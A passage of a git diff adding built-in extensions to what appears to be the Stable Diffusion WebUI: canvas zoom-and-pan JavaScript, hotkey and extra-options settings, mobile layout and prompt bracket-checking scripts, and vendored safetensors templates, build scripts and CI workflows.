targetElement.getBoundingClientRect().top + ); + + targetElement.isZoomed = true; + } + } + + /** + * This function fits the target element to the screen by calculating + * the required scale and offsets. It also updates the global variables + * zoomLevel, panX, and panY to reflect the new state. + */ + + function fitToElement() { + //Reset Zoom + targetElement.style.transform = `translate(${0}px, ${0}px) scale(${1})`; + + let parentElement; + + if (isExtension) { + parentElement = targetElement.closest('[id^="component-"]'); + } else { + parentElement = targetElement.parentElement; + } + + + // Get element and screen dimensions + const elementWidth = targetElement.offsetWidth; + const elementHeight = targetElement.offsetHeight; + + const screenWidth = parentElement.clientWidth; + const screenHeight = parentElement.clientHeight; + + // Get element's coordinates relative to the parent element + const elementRect = targetElement.getBoundingClientRect(); + const parentRect = parentElement.getBoundingClientRect(); + const elementX = elementRect.x - parentRect.x; + + // Calculate scale and offsets + const scaleX = screenWidth / elementWidth; + const scaleY = screenHeight / elementHeight; + const scale = Math.min(scaleX, scaleY); + + const transformOrigin = + window.getComputedStyle(targetElement).transformOrigin; + const [originX, originY] = transformOrigin.split(" "); + const originXValue = parseFloat(originX); + const originYValue = parseFloat(originY); + + const offsetX = + (screenWidth - elementWidth * scale) / 2 - + originXValue * (1 - scale); + const offsetY = + (screenHeight - elementHeight * scale) / 2.5 - + originYValue * (1 - scale); + + // Apply scale and offsets to the element + targetElement.style.transform = `translate(${offsetX}px, ${offsetY}px) scale(${scale})`; + + // Update global variables + elemData[elemId].zoomLevel = scale; + elemData[elemId].panX = offsetX; + elemData[elemId].panY = offsetY; + + fullScreenMode = false; + toggleOverlap("off"); + } + + /** + * This function fits the target element to the screen by calculating + * the required scale and offsets. It also updates the global variables + * zoomLevel, panX, and panY to reflect the new state. + */ + + // Fullscreen mode + function fitToScreen() { + const canvas = gradioApp().querySelector( + `${elemId} canvas[key="interface"]` + ); + + if (!canvas) return; + + if (canvas.offsetWidth > 862 || isExtension) { + targetElement.style.width = (canvas.offsetWidth + 2) + "px"; + } + + if (isExtension) { + targetElement.style.overflow = "visible"; + } + + if (fullScreenMode) { + resetZoom(); + fullScreenMode = false; + return; + } + + //Reset Zoom + targetElement.style.transform = `translate(${0}px, ${0}px) scale(${1})`; + + // Get scrollbar width to right-align the image + const scrollbarWidth = + window.innerWidth - document.documentElement.clientWidth; + + // Get element and screen dimensions + const elementWidth = targetElement.offsetWidth; + const elementHeight = targetElement.offsetHeight; + const screenWidth = window.innerWidth - scrollbarWidth; + const screenHeight = window.innerHeight; + + // Get element's coordinates relative to the page + const elementRect = targetElement.getBoundingClientRect(); + const elementY = elementRect.y; + const elementX = elementRect.x; + + // Calculate scale and offsets + const scaleX = screenWidth / elementWidth; + const scaleY = screenHeight / elementHeight; + const scale = Math.min(scaleX, scaleY); + + // Get the current transformOrigin + const computedStyle = window.getComputedStyle(targetElement); + const transformOrigin = computedStyle.transformOrigin; + const [originX, originY] = transformOrigin.split(" "); + const originXValue = parseFloat(originX); + const originYValue = parseFloat(originY); + + // Calculate offsets with respect to the transformOrigin + const offsetX = + (screenWidth - elementWidth * scale) / 2 - + elementX - + originXValue * (1 - scale); + const offsetY = + (screenHeight - elementHeight * scale) / 2 - + elementY - + originYValue * (1 - scale); + + // Apply scale and offsets to the element + targetElement.style.transform = `translate(${offsetX}px, ${offsetY}px) scale(${scale})`; + + // Update global variables + elemData[elemId].zoomLevel = scale; + elemData[elemId].panX = offsetX; + elemData[elemId].panY = offsetY; + + fullScreenMode = true; + toggleOverlap("on"); + } + + // Handle keydown events + function handleKeyDown(event) { + // Disable key locks to make pasting from the buffer work correctly + if ((event.ctrlKey && event.code === 'KeyV') || (event.ctrlKey && event.code === 'KeyC') || event.code === "F5") { + return; + } + + // before activating shortcut, ensure user is not actively typing in an input field + if (!hotkeysConfig.canvas_blur_prompt) { + if (event.target.nodeName === 'TEXTAREA' || event.target.nodeName === 'INPUT') { + return; + } + } + + + const hotkeyActions = { + [hotkeysConfig.canvas_hotkey_reset]: resetZoom, + [hotkeysConfig.canvas_hotkey_overlap]: toggleOverlap, + [hotkeysConfig.canvas_hotkey_fullscreen]: fitToScreen + }; + + const action = hotkeyActions[event.code]; + if (action) { + event.preventDefault(); + action(event); + } + + if ( + isModifierKey(event, hotkeysConfig.canvas_hotkey_zoom) || + isModifierKey(event, hotkeysConfig.canvas_hotkey_adjust) + ) { + event.preventDefault(); + } + } + + // Get Mouse position + function getMousePosition(e) { + mouseX = e.offsetX; + mouseY = e.offsetY; + } + + // Simulation of the function to put a long image into the screen. + // We detect if an image has a scroll bar or not, make a fullscreen to reveal the image, then reduce it to fit into the element. + // We hide the image and show it to the user when it is ready. + + targetElement.isExpanded = false; + function autoExpand() { + const canvas = document.querySelector(`${elemId} canvas[key="interface"]`); + if (canvas) { + if (hasHorizontalScrollbar(targetElement) && targetElement.isExpanded === false) { + targetElement.style.visibility = "hidden"; + setTimeout(() => { + fitToScreen(); + resetZoom(); + targetElement.style.visibility = "visible"; + targetElement.isExpanded = true; + }, 10); + } + } + } + + targetElement.addEventListener("mousemove", getMousePosition); + + //observers + // Creating an observer with a callback function to handle DOM changes + const observer = new MutationObserver((mutationsList, observer) => { + for (let mutation of mutationsList) { + // If the style attribute of the canvas has changed, by observation it happens only when the picture changes + if (mutation.type === 'attributes' && mutation.attributeName === 'style' && + mutation.target.tagName.toLowerCase() === 'canvas') { + targetElement.isExpanded = false; + setTimeout(resetZoom, 10); + } + } + }); + + // Apply auto expand if enabled + if (hotkeysConfig.canvas_auto_expand) { + targetElement.addEventListener("mousemove", autoExpand); + // Set up an observer to track attribute changes + observer.observe(targetElement, {attributes: true, childList: true, subtree: true}); + } + + // Handle events only inside the targetElement + let isKeyDownHandlerAttached = false; + + function handleMouseMove() { + if (!isKeyDownHandlerAttached) { + document.addEventListener("keydown", handleKeyDown); + isKeyDownHandlerAttached = true; + + activeElement = elemId; + } + } + + function handleMouseLeave() { + if (isKeyDownHandlerAttached) { + document.removeEventListener("keydown", handleKeyDown); + isKeyDownHandlerAttached = false; + + activeElement = null; + } + } + + // Add mouse event handlers + targetElement.addEventListener("mousemove", handleMouseMove); + targetElement.addEventListener("mouseleave", handleMouseLeave); + + // Reset zoom when click on another tab + elements.img2imgTabs.addEventListener("click", resetZoom); + elements.img2imgTabs.addEventListener("click", () => { + // targetElement.style.width = ""; + if (parseInt(targetElement.style.width) > 865) { + setTimeout(fitToElement, 0); + } + }); + + targetElement.addEventListener("wheel", e => { + // change zoom level + const operation = e.deltaY > 0 ? "-" : "+"; + changeZoomLevel(operation, e); + + // Handle brush size adjustment with ctrl key pressed + if (isModifierKey(e, hotkeysConfig.canvas_hotkey_adjust)) { + e.preventDefault(); + + // Increase or decrease brush size based on scroll direction + adjustBrushSize(elemId, e.deltaY); + } + }); + + // Handle the move event for pan functionality. Updates the panX and panY variables and applies the new transform to the target element. + function handleMoveKeyDown(e) { + + // Disable key locks to make pasting from the buffer work correctly + if ((e.ctrlKey && e.code === 'KeyV') || (e.ctrlKey && event.code === 'KeyC') || e.code === "F5") { + return; + } + + // before activating shortcut, ensure user is not actively typing in an input field + if (!hotkeysConfig.canvas_blur_prompt) { + if (e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'INPUT') { + return; + } + } + + + if (e.code === hotkeysConfig.canvas_hotkey_move) { + if (!e.ctrlKey && !e.metaKey && isKeyDownHandlerAttached) { + e.preventDefault(); + document.activeElement.blur(); + isMoving = true; + } + } + } + + function handleMoveKeyUp(e) { + if (e.code === hotkeysConfig.canvas_hotkey_move) { + isMoving = false; + } + } + + document.addEventListener("keydown", handleMoveKeyDown); + document.addEventListener("keyup", handleMoveKeyUp); + + // Detect zoom level and update the pan speed. + function updatePanPosition(movementX, movementY) { + let panSpeed = 2; + + if (elemData[elemId].zoomLevel > 8) { + panSpeed = 3.5; + } + + elemData[elemId].panX += movementX * panSpeed; + elemData[elemId].panY += movementY * panSpeed; + + // Delayed redraw of an element + requestAnimationFrame(() => { + targetElement.style.transform = `translate(${elemData[elemId].panX}px, ${elemData[elemId].panY}px) scale(${elemData[elemId].zoomLevel})`; + toggleOverlap("on"); + }); + } + + function handleMoveByKey(e) { + if (isMoving && elemId === activeElement) { + updatePanPosition(e.movementX, e.movementY); + targetElement.style.pointerEvents = "none"; + + if (isExtension) { + targetElement.style.overflow = "visible"; + } + + } else { + targetElement.style.pointerEvents = "auto"; + } + } + + // Prevents sticking to the mouse + window.onblur = function() { + isMoving = false; + }; + + // Checks for extension + function checkForOutBox() { + const parentElement = targetElement.closest('[id^="component-"]'); + if (parentElement.offsetWidth < targetElement.offsetWidth && !targetElement.isExpanded) { + resetZoom(); + targetElement.isExpanded = true; + } + + if (parentElement.offsetWidth < targetElement.offsetWidth && elemData[elemId].zoomLevel == 1) { + resetZoom(); + } + + if (parentElement.offsetWidth < targetElement.offsetWidth && targetElement.offsetWidth * elemData[elemId].zoomLevel > parentElement.offsetWidth && elemData[elemId].zoomLevel < 1 && !targetElement.isZoomed) { + resetZoom(); + } + } + + if (isExtension) { + targetElement.addEventListener("mousemove", checkForOutBox); + } + + + window.addEventListener('resize', (e) => { + resetZoom(); + + if (isExtension) { + targetElement.isExpanded = false; + targetElement.isZoomed = false; + } + }); + + gradioApp().addEventListener("mousemove", handleMoveByKey); + + + } + + applyZoomAndPan(elementIDs.sketch, false); + applyZoomAndPan(elementIDs.inpaint, false); + applyZoomAndPan(elementIDs.inpaintSketch, false); + + // Make the function global so that other extensions can take advantage of this solution + const applyZoomAndPanIntegration = async(id, elementIDs) => { + const mainEl = document.querySelector(id); + if (id.toLocaleLowerCase() === "none") { + for (const elementID of elementIDs) { + const el = await waitForElement(elementID); + if (!el) break; + applyZoomAndPan(elementID); + } + return; + } + + if (!mainEl) return; + mainEl.addEventListener("click", async() => { + for (const elementID of elementIDs) { + const el = await waitForElement(elementID); + if (!el) break; + applyZoomAndPan(elementID); + } + }, {once: true}); + }; + + window.applyZoomAndPan = applyZoomAndPan; // Only 1 elements, argument elementID, for example applyZoomAndPan("#txt2img_controlnet_ControlNet_input_image") + + window.applyZoomAndPanIntegration = applyZoomAndPanIntegration; // for any extension + + /* + The function `applyZoomAndPanIntegration` takes two arguments: + + 1. `id`: A string identifier for the element to which zoom and pan functionality will be applied on click. + If the `id` value is "none", the functionality will be applied to all elements specified in the second argument without a click event. + + 2. `elementIDs`: An array of string identifiers for elements. Zoom and pan functionality will be applied to each of these elements on click of the element specified by the first argument. + If "none" is specified in the first argument, the functionality will be applied to each of these elements without a click event. + + Example usage: + applyZoomAndPanIntegration("#txt2img_controlnet", ["#txt2img_controlnet_ControlNet_input_image"]); + In this example, zoom and pan functionality will be applied to the element with the identifier "txt2img_controlnet_ControlNet_input_image" upon clicking the element with the identifier "txt2img_controlnet". + */ + + // More examples + // Add integration with ControlNet txt2img One TAB + // applyZoomAndPanIntegration("#txt2img_controlnet", ["#txt2img_controlnet_ControlNet_input_image"]); + + // Add integration with ControlNet txt2img Tabs + // applyZoomAndPanIntegration("#txt2img_controlnet",Array.from({ length: 10 }, (_, i) => `#txt2img_controlnet_ControlNet-${i}_input_image`)); + + // Add integration with Inpaint Anything + // applyZoomAndPanIntegration("None", ["#ia_sam_image", "#ia_sel_mask"]); +}); diff --git a/extensions-builtin/canvas-zoom-and-pan/scripts/__pycache__/hotkey_config.cpython-39.pyc b/extensions-builtin/canvas-zoom-and-pan/scripts/__pycache__/hotkey_config.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..34a676f798c27cac030688178627e7be979d8303 Binary files /dev/null and b/extensions-builtin/canvas-zoom-and-pan/scripts/__pycache__/hotkey_config.cpython-39.pyc differ diff --git a/extensions-builtin/canvas-zoom-and-pan/scripts/hotkey_config.py b/extensions-builtin/canvas-zoom-and-pan/scripts/hotkey_config.py new file mode 100644 index 0000000000000000000000000000000000000000..2d8d2d1c014be5dc1bac24b2c71079351fe1177e --- /dev/null +++ b/extensions-builtin/canvas-zoom-and-pan/scripts/hotkey_config.py @@ -0,0 +1,15 @@ +import gradio as gr +from modules import shared + +shared.options_templates.update(shared.options_section(('canvas_hotkey', "Canvas Hotkeys"), { + "canvas_hotkey_zoom": shared.OptionInfo("Alt", "Zoom canvas", gr.Radio, {"choices": ["Shift","Ctrl", "Alt"]}).info("If you choose 'Shift' you cannot scroll horizontally, 'Alt' can cause a little trouble in firefox"), + "canvas_hotkey_adjust": shared.OptionInfo("Ctrl", "Adjust brush size", gr.Radio, {"choices": ["Shift","Ctrl", "Alt"]}).info("If you choose 'Shift' you cannot scroll horizontally, 'Alt' can cause a little trouble in firefox"), + "canvas_hotkey_move": shared.OptionInfo("F", "Moving the canvas").info("To work correctly in firefox, turn off 'Automatically search the page text when typing' in the browser settings"), + "canvas_hotkey_fullscreen": shared.OptionInfo("S", "Fullscreen Mode, maximizes the picture so that it fits into the screen and stretches it to its full width "), + "canvas_hotkey_reset": shared.OptionInfo("R", "Reset zoom and canvas positon"), + "canvas_hotkey_overlap": shared.OptionInfo("O", "Toggle overlap").info("Technical button, neededs for testing"), + "canvas_show_tooltip": shared.OptionInfo(True, "Enable tooltip on the canvas"), + "canvas_auto_expand": shared.OptionInfo(True, "Automatically expands an image that does not fit completely in the canvas area, similar to manually pressing the S and R buttons"), + "canvas_blur_prompt": shared.OptionInfo(False, "Take the focus off the prompt when working with a canvas"), + "canvas_disabled_functions": shared.OptionInfo(["Overlap"], "Disable function that you don't use", gr.CheckboxGroup, {"choices": ["Zoom","Adjust brush size", "Moving canvas","Fullscreen","Reset Zoom","Overlap"]}), +})) diff --git a/extensions-builtin/canvas-zoom-and-pan/style.css b/extensions-builtin/canvas-zoom-and-pan/style.css new file mode 100644 index 0000000000000000000000000000000000000000..5d8054e65196408c97791727088088650f102b21 --- /dev/null +++ b/extensions-builtin/canvas-zoom-and-pan/style.css @@ -0,0 +1,66 @@ +.canvas-tooltip-info { + position: absolute; + top: 10px; + left: 10px; + cursor: help; + background-color: rgba(0, 0, 0, 0.3); + width: 20px; + height: 20px; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + flex-direction: column; + + z-index: 100; +} + +.canvas-tooltip-info::after { + content: ''; + display: block; + width: 2px; + height: 7px; + background-color: white; + margin-top: 2px; +} + +.canvas-tooltip-info::before { + content: ''; + display: block; + width: 2px; + height: 2px; + background-color: white; +} + +.canvas-tooltip-content { + display: none; + background-color: #f9f9f9; + color: #333; + border: 1px solid #ddd; + padding: 15px; + position: absolute; + top: 40px; + left: 10px; + width: 250px; + font-size: 16px; + opacity: 0; + border-radius: 8px; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + + z-index: 100; +} + +.canvas-tooltip:hover .canvas-tooltip-content { + display: block; + animation: fadeIn 0.5s; + opacity: 1; +} + +@keyframes fadeIn { + from {opacity: 0;} + to {opacity: 1;} +} + +.styler { + overflow:inherit !important; +} \ No newline at end of file diff --git a/extensions-builtin/extra-options-section/scripts/__pycache__/extra_options_section.cpython-39.pyc b/extensions-builtin/extra-options-section/scripts/__pycache__/extra_options_section.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..6c0ffb1b183d3b5bf82a4d057883f04b358e628a Binary files /dev/null and b/extensions-builtin/extra-options-section/scripts/__pycache__/extra_options_section.cpython-39.pyc differ diff --git a/extensions-builtin/extra-options-section/scripts/extra_options_section.py b/extensions-builtin/extra-options-section/scripts/extra_options_section.py new file mode 100644 index 0000000000000000000000000000000000000000..ff8c9fc2c24e11a7dbed213bc749836ba9d194de --- /dev/null +++ b/extensions-builtin/extra-options-section/scripts/extra_options_section.py @@ -0,0 +1,74 @@ +import math + +import gradio as gr +from modules import scripts, shared, ui_components, ui_settings, generation_parameters_copypaste +from modules.ui_components import FormColumn + + +class ExtraOptionsSection(scripts.Script): + section = "extra_options" + + def __init__(self): + self.comps = None + self.setting_names = None + + def title(self): + return "Extra options" + + def show(self, is_img2img): + return scripts.AlwaysVisible + + def ui(self, is_img2img): + self.comps = [] + self.setting_names = [] + self.infotext_fields = [] + extra_options = shared.opts.extra_options_img2img if is_img2img else shared.opts.extra_options_txt2img + + mapping = {k: v for v, k in generation_parameters_copypaste.infotext_to_setting_name_mapping} + + with gr.Blocks() as interface: + with gr.Accordion("Options", open=False) if shared.opts.extra_options_accordion and extra_options else gr.Group(): + + row_count = math.ceil(len(extra_options) / shared.opts.extra_options_cols) + + for row in range(row_count): + with gr.Row(): + for col in range(shared.opts.extra_options_cols): + index = row * shared.opts.extra_options_cols + col + if index >= len(extra_options): + break + + setting_name = extra_options[index] + + with FormColumn(): + comp = ui_settings.create_setting_component(setting_name) + + self.comps.append(comp) + self.setting_names.append(setting_name) + + setting_infotext_name = mapping.get(setting_name) + if setting_infotext_name is not None: + self.infotext_fields.append((comp, setting_infotext_name)) + + def get_settings_values(): + res = [ui_settings.get_value_for_setting(key) for key in self.setting_names] + return res[0] if len(res) == 1 else res + + interface.load(fn=get_settings_values, inputs=[], outputs=self.comps, queue=False, show_progress=False) + + return self.comps + + def before_process(self, p, *args): + for name, value in zip(self.setting_names, args): + if name not in p.override_settings: + p.override_settings[name] = value + + +shared.options_templates.update(shared.options_section(('ui', "User interface"), { + "extra_options_txt2img": shared.OptionInfo([], "Options in main UI - txt2img", ui_components.DropdownMulti, lambda: {"choices": list(shared.opts.data_labels.keys())}).js("info", "settingsHintsShowQuicksettings").info("setting entries that also appear in txt2img interfaces").needs_reload_ui(), + "extra_options_img2img": shared.OptionInfo([], "Options in main UI - img2img", ui_components.DropdownMulti, lambda: {"choices": list(shared.opts.data_labels.keys())}).js("info", "settingsHintsShowQuicksettings").info("setting entries that also appear in img2img interfaces").needs_reload_ui(), + "extra_options_cols": shared.OptionInfo(1, "Options in main UI - number of columns", gr.Number, {"precision": 0}).needs_reload_ui(), + "extra_options_accordion": shared.OptionInfo(False, "Options in main UI - place into an accordion").needs_reload_ui() +})) + + diff --git a/extensions-builtin/mobile/javascript/mobile.js b/extensions-builtin/mobile/javascript/mobile.js new file mode 100644 index 0000000000000000000000000000000000000000..652f07ac7eceb7ac780d6c19c1be85480471491a --- /dev/null +++ b/extensions-builtin/mobile/javascript/mobile.js @@ -0,0 +1,32 @@ +var isSetupForMobile = false; + +function isMobile() { + for (var tab of ["txt2img", "img2img"]) { + var imageTab = gradioApp().getElementById(tab + '_results'); + if (imageTab && imageTab.offsetParent && imageTab.offsetLeft == 0) { + return true; + } + } + + return false; +} + +function reportWindowSize() { + var currentlyMobile = isMobile(); + if (currentlyMobile == isSetupForMobile) return; + isSetupForMobile = currentlyMobile; + + for (var tab of ["txt2img", "img2img"]) { + var button = gradioApp().getElementById(tab + '_generate_box'); + var target = gradioApp().getElementById(currentlyMobile ? tab + '_results' : tab + '_actions_column'); + target.insertBefore(button, target.firstElementChild); + + gradioApp().getElementById(tab + '_results').classList.toggle('mobile', currentlyMobile); + } +} + +window.addEventListener("resize", reportWindowSize); + +onUiLoaded(function() { + reportWindowSize(); +}); diff --git a/extensions-builtin/prompt-bracket-checker/javascript/prompt-bracket-checker.js b/extensions-builtin/prompt-bracket-checker/javascript/prompt-bracket-checker.js new file mode 100644 index 0000000000000000000000000000000000000000..114cf94ccbf69b473757f2fc46443a39723a9269 --- /dev/null +++ b/extensions-builtin/prompt-bracket-checker/javascript/prompt-bracket-checker.js @@ -0,0 +1,42 @@ +// Stable Diffusion WebUI - Bracket checker +// By Hingashi no Florin/Bwin4L & @akx +// Counts open and closed brackets (round, square, curly) in the prompt and negative prompt text boxes in the txt2img and img2img tabs. +// If there's a mismatch, the keyword counter turns red and if you hover on it, a tooltip tells you what's wrong. + +function checkBrackets(textArea, counterElt) { + var counts = {}; + (textArea.value.match(/[(){}[\]]/g) || []).forEach(bracket => { + counts[bracket] = (counts[bracket] || 0) + 1; + }); + var errors = []; + + function checkPair(open, close, kind) { + if (counts[open] !== counts[close]) { + errors.push( + `${open}...${close} - Detected ${counts[open] || 0} opening and ${counts[close] || 0} closing ${kind}.` + ); + } + } + + checkPair('(', ')', 'round brackets'); + checkPair('[', ']', 'square brackets'); + checkPair('{', '}', 'curly brackets'); + counterElt.title = errors.join('\n'); + counterElt.classList.toggle('error', errors.length !== 0); +} + +function setupBracketChecking(id_prompt, id_counter) { + var textarea = gradioApp().querySelector("#" + id_prompt + " > label > textarea"); + var counter = gradioApp().getElementById(id_counter); + + if (textarea && counter) { + textarea.addEventListener("input", () => checkBrackets(textarea, counter)); + } +} + +onUiLoaded(function() { + setupBracketChecking('txt2img_prompt', 'txt2img_token_counter'); + setupBracketChecking('txt2img_neg_prompt', 'txt2img_negative_token_counter'); + setupBracketChecking('img2img_prompt', 'img2img_token_counter'); + setupBracketChecking('img2img_neg_prompt', 'img2img_negative_token_counter'); +}); diff --git a/extensions/put extensions here.txt b/extensions/put extensions here.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/extensions/safetensors/.dockerignore b/extensions/safetensors/.dockerignore new file mode 100644 index 0000000000000000000000000000000000000000..1918813076948fc5435d94fcf4b84afcd6077043 --- /dev/null +++ b/extensions/safetensors/.dockerignore @@ -0,0 +1,3 @@ +safetensors/target +bindings/python/target +Dockerfile.s390x.test diff --git a/extensions/safetensors/.github/ISSUE_TEMPLATE/bug-report.yml b/extensions/safetensors/.github/ISSUE_TEMPLATE/bug-report.yml new file mode 100644 index 0000000000000000000000000000000000000000..8c586d8ccbe7a8abe631a38fb0ad79844dfc9990 --- /dev/null +++ b/extensions/safetensors/.github/ISSUE_TEMPLATE/bug-report.yml @@ -0,0 +1,106 @@ +name: "\U0001F41B Bug Report" +description: Submit a bug report to help us improve safetensors +body: + - type: textarea + id: system-info + attributes: + label: System Info + description: Please share your system info with us. You can run the command `transformers-cli env` and copy-paste its output below. + placeholder: safetensors version, platform, python version, ... + validations: + required: true + + # - type: textarea + # id: who-can-help + # attributes: + # label: Who can help? + # description: | + # Your issue will be replied to more quickly if you can figure out the right person to tag with @ + # If you know how to use git blame, that is the easiest way, otherwise, here is a rough guide of **who to tag**. + # + # All issues are read by one of the core maintainers, so if you don't know who to tag, just leave this blank and + # a core maintainer will ping the right person. + # + # Please tag fewer than 3 people. + # + # Models: + + # - text models: @ArthurZucker and @younesbelkada + # - vision models: @amyeroberts + # - speech models: @sanchit-gandhi + # - graph models: @clefourrier + # + # Library: + # + # - flax: @sanchit-gandhi + # - generate: @gante + # - pipelines: @Narsil + # - tensorflow: @gante and @Rocketknight1 + # - tokenizers: @ArthurZucker + # - trainer: @sgugger + # + # Integrations: + # + # - deepspeed: HF Trainer: @stas00, Accelerate: @pacman100 + # - ray/raytune: @richardliaw, @amogkam + # - Big Model Inference: @sgugger @muellerzr + # + # Documentation: @sgugger, @stevhliu and @MKhalusova + # + # Model hub: + + # - for issues with a model, report at https://discuss.huggingface.co/ and tag the model's creator. + # + # HF projects: + # + # - accelerate: [different repo](https://github.com/huggingface/accelerate) + # - datasets: [different repo](https://github.com/huggingface/datasets) + # - diffusers: [different repo](https://github.com/huggingface/diffusers) + # - rust tokenizers: [different repo](https://github.com/huggingface/tokenizers) + # + # Maintained examples (not research project or legacy): + # + # - Flax: @sanchit-gandhi + # - PyTorch: @sgugger + # - TensorFlow: @Rocketknight1 + + # Research projects are not maintained and should be taken as is. + + # placeholder: "@Username ..." + + - type: checkboxes + id: information-scripts-examples + attributes: + label: Information + description: 'The problem arises when using:' + options: + - label: "The official example scripts" + - label: "My own modified scripts" + + - type: textarea + id: reproduction + validations: + required: true + attributes: + label: Reproduction + description: | + Please provide a code sample that reproduces the problem you ran into. It can be a Colab link or just a code snippet. + If you have code snippets, error messages, stack traces please provide them here as well. + Important! Use code tags to correctly format your code. See https://help.github.com/en/github/writing-on-github/creating-and-highlighting-code-blocks#syntax-highlighting + Do not use screenshots, as they are hard to read and (more importantly) don't allow others to copy-and-paste your code. + + placeholder: | + Steps to reproduce the behavior: + + 1. + 2. + 3. + + + - type: textarea + id: expected-behavior + validations: + required: true + attributes: + label: Expected behavior + description: "A clear and concise description of what you would expect to happen." diff --git a/extensions/safetensors/.github/ISSUE_TEMPLATE/config.yml b/extensions/safetensors/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000000000000000000000000000000000..e6477729355d180783930e33641017b53194949c --- /dev/null +++ b/extensions/safetensors/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,2 @@ +blank_issues_enabled: true +version: 2.1 diff --git a/extensions/safetensors/.github/ISSUE_TEMPLATE/feature-request.yml b/extensions/safetensors/.github/ISSUE_TEMPLATE/feature-request.yml new file mode 100644 index 0000000000000000000000000000000000000000..27749f60fc00e416a7452a7400afa8a8975f6def --- /dev/null +++ b/extensions/safetensors/.github/ISSUE_TEMPLATE/feature-request.yml @@ -0,0 +1,31 @@ +name: "\U0001F680 Feature request" +description: Submit a proposal/request for a new safetensors feature +labels: [ "feature" ] +body: + - type: textarea + id: feature-request + validations: + required: true + attributes: + label: Feature request + description: | + A clear and concise description of the feature proposal. Please provide a link to the paper and code in case they exist. + + - type: textarea + id: motivation + validations: + required: true + attributes: + label: Motivation + description: | + Please outline the motivation for the proposal. Is your feature request related to a problem? e.g., I'm always frustrated when [...]. If this is related to another GitHub issue, please link here too. + + + - type: textarea + id: contribution + validations: + required: true + attributes: + label: Your contribution + description: | + Is there any way that you could help, e.g. by submitting a PR? Make sure to read the CONTRIBUTING.MD [readme](https://github.com/huggingface/safetensors/blob/main/CONTRIBUTING.md) diff --git a/extensions/safetensors/.github/PULL_REQUEST_TEMPLATE.md b/extensions/safetensors/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000000000000000000000000000000000..8dc3179e1079b385797592348d507181c6b35c8b --- /dev/null +++ b/extensions/safetensors/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,15 @@ +# What does this PR do? + + + + + +Fixes # (issue) or description of the problem this PR solves. diff --git a/extensions/safetensors/.github/conda/bld.bat b/extensions/safetensors/.github/conda/bld.bat new file mode 100644 index 0000000000000000000000000000000000000000..57bd809f97e6e674142db74ca21a74a8cb4fb383 --- /dev/null +++ b/extensions/safetensors/.github/conda/bld.bat @@ -0,0 +1,2 @@ +cd bindings\python +%PYTHON% -m pip install . --prefix=%PREFIX% diff --git a/extensions/safetensors/.github/conda/build.sh b/extensions/safetensors/.github/conda/build.sh new file mode 100644 index 0000000000000000000000000000000000000000..df4e908f1a24fb944e1e94df4730f0533a172e44 --- /dev/null +++ b/extensions/safetensors/.github/conda/build.sh @@ -0,0 +1,2 @@ +cd bindings/python +$PYTHON -m pip install . --prefix=$PREFIX diff --git a/extensions/safetensors/.github/conda/meta.yaml b/extensions/safetensors/.github/conda/meta.yaml new file mode 100644 index 0000000000000000000000000000000000000000..7d468952d8abcb281d81d1dcf318cba17941b264 --- /dev/null +++ b/extensions/safetensors/.github/conda/meta.yaml @@ -0,0 +1,29 @@ +{% set name = "safetensors" %} + +package: + name: "{{ name|lower }}" + version: "{{ SAFETENSORS_VERSION }}" + +source: + path: ../../ + +requirements: + host: + - pip + - python x.x + - setuptools + - setuptools-rust + - maturin + + run: + - python x.x + +test: + imports: + - safetensors + +about: + home: https://huggingface.co/docs/safetensors + license: Apache License 2.0 + license_file: LICENSE + summary: "Safe and portable way of storing tensors" diff --git a/extensions/safetensors/.github/stale.yml b/extensions/safetensors/.github/stale.yml new file mode 100644 index 0000000000000000000000000000000000000000..dc90e5a1c3aad4818a813606b52fdecd2fdf6782 --- /dev/null +++ b/extensions/safetensors/.github/stale.yml @@ -0,0 +1,17 @@ +# Number of days of inactivity before an issue becomes stale +daysUntilStale: 60 +# Number of days of inactivity before a stale issue is closed +daysUntilClose: 7 +# Issues with these labels will never be considered stale +exemptLabels: + - pinned + - security +# Label to use when marking an issue as stale +staleLabel: wontfix +# Comment to post when marking an issue as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed if no further activity occurs. Thank you + for your contributions. +# Comment to post when closing a stale issue. Set to `false` to disable +closeComment: false diff --git a/extensions/safetensors/.github/workflows/build_documentation.yml b/extensions/safetensors/.github/workflows/build_documentation.yml new file mode 100644 index 0000000000000000000000000000000000000000..1e57791077056c9483a70e2170a93bb1e834ddad --- /dev/null +++ b/extensions/safetensors/.github/workflows/build_documentation.yml @@ -0,0 +1,22 @@ +name: Build documentation + +on: + push: + branches: + - main + - doc-builder* + - v*-release + - use_templates + +jobs: + build: + uses: huggingface/doc-builder/.github/workflows/build_main_documentation.yml@main + with: + commit_sha: ${{ github.sha }} + package: safetensors + notebook_folder: safetensors_doc + package_path: safetensors/bindings/python/ + install_rust: true + secrets: + token: ${{ secrets.HUGGINGFACE_PUSH }} + hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }} diff --git a/extensions/safetensors/.github/workflows/build_pr_documentation.yml b/extensions/safetensors/.github/workflows/build_pr_documentation.yml new file mode 100644 index 0000000000000000000000000000000000000000..a7480494e1c896f7f2a327e12efa4a05ce23777e --- /dev/null +++ b/extensions/safetensors/.github/workflows/build_pr_documentation.yml @@ -0,0 +1,21 @@ +name: Build PR Documentation + +on: + pull_request: + paths: + - "docs/**" + - "bindings/python/py_src/**" + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +jobs: + build: + uses: huggingface/doc-builder/.github/workflows/build_pr_documentation.yml@main + with: + commit_sha: ${{ github.event.pull_request.head.sha }} + pr_number: ${{ github.event.number }} + package: safetensors + package_path: safetensors/bindings/python/ + install_rust: true diff --git a/extensions/safetensors/.github/workflows/codecov.yml b/extensions/safetensors/.github/workflows/codecov.yml new file mode 100644 index 0000000000000000000000000000000000000000..95b3b89b6da18a35b8d99e0720a1ab0be3a9f515 --- /dev/null +++ 